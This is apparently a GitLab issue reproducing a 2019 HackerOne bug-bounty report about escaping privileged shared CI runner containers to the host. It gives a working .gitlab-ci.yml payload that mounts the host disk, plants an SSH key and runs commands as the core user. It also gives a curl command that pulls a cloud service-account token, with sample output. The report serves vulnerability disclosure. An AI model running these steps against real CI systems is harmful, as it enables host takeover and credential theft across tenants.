Skip to content

GitLab Runner Docker Escape - Metadata access

HackerOne report #546654 by apogiatzis on 2019-04-23, assigned to estrike:

Summary

When using running a CI pipeline with shared runners each job is executed in a docker container. With the appropriate payload in the .gitlab-ci.yml file, an adversary can launch a shell terminal on the host CoreOS with root privileges. From there he can access sensitive information such as the Google metadata API (169.254.169.254) (as also described in a different report here https://hackerone.com/reports/369451) , other Docker containers, and Public/Private keys for other services.

Steps to reproduce

  1. Create a project with the following .gitlab-ci.yml file:
image: python:latest  
a:  
  script:  
  - mkdir /host  
  - mount /dev/sda9 /host  
  - source /host/etc/environment  
  - cd ~ && mkdir .ssh && ssh-keygen -f .ssh/id_rsa -t rsa -N ''  
  - cat .ssh/id_rsa.pub >> /host/home/core/.ssh/authorized_keys  
  - echo $COREOS_PRIVATE_IPV4  
  - ssh -o StrictHostKeychecking=no -t core@$COREOS_PRIVATE_IPV4 '<SHELL_COMMAND>'  
  1. Replace the <SHELL_COMMAND> with the command that you would like to be executed on the host

  2. Run the build pipeline

  3. For command docker ps the following output should appear in the console output:

CONTAINER ID        IMAGE                                                      COMMAND                  CREATED             STATUS                  PORTS               NAMES  
e363b5ea267f        59a8c21b72d4                                               "sh -c 'if [ -x /usr…"   1 second ago        Up Less than a second                       runner-ed2dce3a-project-11979472-concurrent-0-build-4  
10055962f63a        quay.io/gitlab/gitlab-runner-docker-cleanup:latest         "go-wrapper run"         7 weeks ago         Up 2 minutes                                gitlab-runner-docker-cleanup  
04847c248662        registry.gitlab.com/gitlab-org/ci-cd/suricata-runner:0.3   "/sbin/init"             7 weeks ago         Up 2 minutes                                suricata  
500ac293b4a4        quay.io/prometheus/node-exporter:v0.16.0                   "/bin/node_exporter …"   7 weeks ago         Up 2 minutes                                node-exporter  
  1. Alternatively, you can access the Google Metadata API by replacing command with curl -H "Metadata-Flavor:Google" http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token . This should give a similar output with:
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current  
                                 Dload  Upload   Total   Spent    Left  Speed  
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0{"access_token":"ya29.c.El70Bp_ka_uaCv_cRQO5iupFmaNs1_MmJYJUX8Mu_XE-LEXh84NUg5V7LTwjyv9Vt_lTmWW82pXyvKWwqz8X2MjedaWbiJSKgdxKvG9adayYKJtThX5WEQ7L5K5kKbSy","expires_in":3599,"token_type":"Bearer"}  
100   194  100   194    0     0   8434      0 --:--:-- --:--:-- --:--:--  8434  

Impact

This vulnerability allows internal resources to be exposed to the node. These can include sensitive keys which can be used to tamper with the data of the project thus poisoning it to affect other users.
This is mere speculation as I wasn't able to achieve that but I hypothesize that is possible to obtain the token for the Google Service Account used to upload the cache. This would allow an intruder to presign upload urls and poison project caches not only for this project but for other projects as well.

I will investigate further for the last claims and report if anything is found.

Examples

Here is an example project demonstrating the issue:
https://gitlab.com/hackerone_apogiatzis/bugbounty_project

What is the current bug behavior?

The runner docker container is executed as a privileged container (--privileged flag) . This makes it possible to mount the host filesystem on the container (/dev/sda9). Therefore, a new ssh key pair is generated and the public key is added to the host's authorized keys allowing the container to open up an ssh connection to the host as the core user which essentially has root privileges.

What is the expected correct behavior?

A permission denied message should have been received when attempting to mount the /dev/sda9 filesytem

Relevant logs and/or screenshots

Screenshot of running docker ps on the host:
https://ibb.co/9Tnfyrq

Output of checks

This bug happens on GitLab.com

Impact

This vulnerability allows internal resources to be exposed to the node. These can include sensitive keys which can be used to tamper with the data of the project thus poisoning it to affect other users.
This is mere speculation as I wasn't able to achieve that but I hypothesize that is possible to obtain the token for the Google Service Account used to upload the cache. This would allow an intruder to presign upload urls and poison project caches not only for this project but for other projects as well.

In addition, this can be very critical if 0-days are discovered that concern the Google Compute Engine and CoreOS setup since an attacker could utilise this elevated access to exploit them.